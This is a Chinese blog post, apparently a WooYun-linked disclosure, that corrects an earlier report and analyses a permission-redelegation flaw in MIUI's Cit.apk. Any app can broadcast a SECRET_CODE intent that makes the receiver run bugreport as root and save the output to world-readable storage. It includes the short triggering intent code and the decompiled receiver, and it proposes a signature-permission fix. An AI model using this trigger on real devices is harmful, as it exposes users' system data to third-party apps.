关于MIUI中cit.apk暴露bugreport的漏洞

之前在乌云发布的MIUI数据泄露漏洞之一(WooYun-2012-08222),其中的“详细说明”部分,存在部分错误。这个漏洞涉及bugreport,我错误地指出在shell下可以调用的bugreport,第三方应用软件也可以随便调用,这是错误的。由此在微博上和回复里引起对Android一般安全的讨论,向大家表示歉意。

此外,需要强调的是,由于Cit.apk的组件暴露,在MIUI系统下,该漏洞依然可以利用。

以下是详细的技术分析,包括我犯的错误,以及在MIUI下的利用方法。

bugreport的调用权限分析

bugreport在adb shell下即可调用并正确输出结果,但如果在应用软件中以普通权限调用Runtime.getRuntime().exec(),无论是执行”bugreport > /sdcard/report.txt”还是”bugreport”并读取返回的process的getInputStream(),均会通过stderr返回错误提示”Failed to connect to dumpstate service”。

查看bugreport的源码。问题出在这里:

/* start the dumpstate service */                                                                                                    
property_set( "ctl.start" , "dumpstate" );

对普通的应用软件,在自己的UID下,property_set()会失败,导致dumpstate服务没有启动,因此bugreport等待十秒后出错退出。

需要指出几点:

1. bugrepot实际是启动dumpstate服务,并通过本地socket连接读取它的输出;

2. dumpstate的正确执行需要root权限,主要是第一步搜集dalvik vm的trace信息时,需要先将/data/anr/traces.txt备份,dump生成trace数据后再恢复。这两步都需要root。

3. 调用property_set()通常需要root或system这两个UID才能成功。但这里有一个例外规则:如果是启动dumpstate,有shell或log权限就可以了。参见system/core/init/property_service.c中的control_perms。

因此,在shell下可以成功调用bugreport,然后启动以root权限执行的dumpstate服务,从本地socket读取其输出的数据。但以普通APP的权限调用bugreport会失败。我在WooYun-2012-08222中所说的第二种利用方法无效,也就是说在一般的Android系统上bugreport的存在不会向第三方应用软件泄露系统数据。

MIUI漏洞的利用方法

然而,正如我在至少在MIUI中WooYun-2012-08222中所说,还有一种方法获得bugreport的输出结果。我们来看一下Cit.apk的manifest:

< receiver android:name = ".CitBroadcastReceiver" >                                                                                  
     < intent-filter >
         < action android:name = "android.provider.Telephony.SECRET_CODE" />
         < data android:scheme = "android_secret_code" android:host = "64663" />
         < data android:scheme = "android_secret_code" android:host = "284" />
         < data android:scheme = "android_secret_code" android:host = "6564" />
     </ intent-filter >
</ receiver >

任何第三方应用软件都可以通过发送一个action为android.provider.Telephony.SECRET_CODE的intent,来使得这个receiver代码被执行。如果附加上android_secret_code://284的数据,就进入了bugreport分支。这一利用代码如下:

Intent intent = new Intent();
intent.setAction( "android.provider.Telephony.SECRET_CODE" );
intent.setData(Uri.parse( "android_secret_code://284" ));
sendBroadcast(intent);

我们来看一下com.miui.cit.CitBroadcastReceiver这个接收器的代码片段:

if ( "284" .equals(paramIntent.getData().getHost())) {
     this .m_logFileName = CitUtils.getLogFilePath( "bugreport" );
     Context localContext1 = this .mContext;
     Context localContext2 = this .mContext;
     Object[] arrayOfObject = new Object[ 1 ];
     arrayOfObject[ 0 ] = this .m_logFileName;
     Toast.makeText(localContext1, localContext2.getString( 2130968768 , arrayOfObject), 1 ).show();
     asyncExecute( new Runnable() {
       public void run() {
         try {
           String str = CitBroadcastReceiver.TAG;
           String[] arrayOfString = new String[ 3 ];
           arrayOfString[ 0 ] = "bugreport" ;
           arrayOfString[ 1 ] = ">" ;
           arrayOfString[ 2 ] = CitBroadcastReceiver.access$ 100 (CitBroadcastReceiver. this );
           CitUtils.rootExecProgram(str, arrayOfString, true );
         }
         catch (InterruptedException localInterruptedException) {
             localInterruptedException.printStackTrace();
         }
         catch (IOException localIOException) {
             localIOException.printStackTrace();
         }
       }
     });
   }

也就是说,这个receiver会以root权限调用bugreport,并将结果保存至/sdcard/MIUI/debug_log/bugreport--.log文件中,后者可以被任意第三方应用软件读取。总结起来,就是任意第三方应用软件可以触发这段代码执行,然后读取到它的输出。

关于这类由于组件暴露导致的权限绕过,学术上叫做permission redelegation问题。修复的方法是,对receiver的调用要求signature级别的权限。

再次对我的错误表示道歉。以后的可能漏洞,我会做严格地验证,先把利用代码跑通,再上报。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值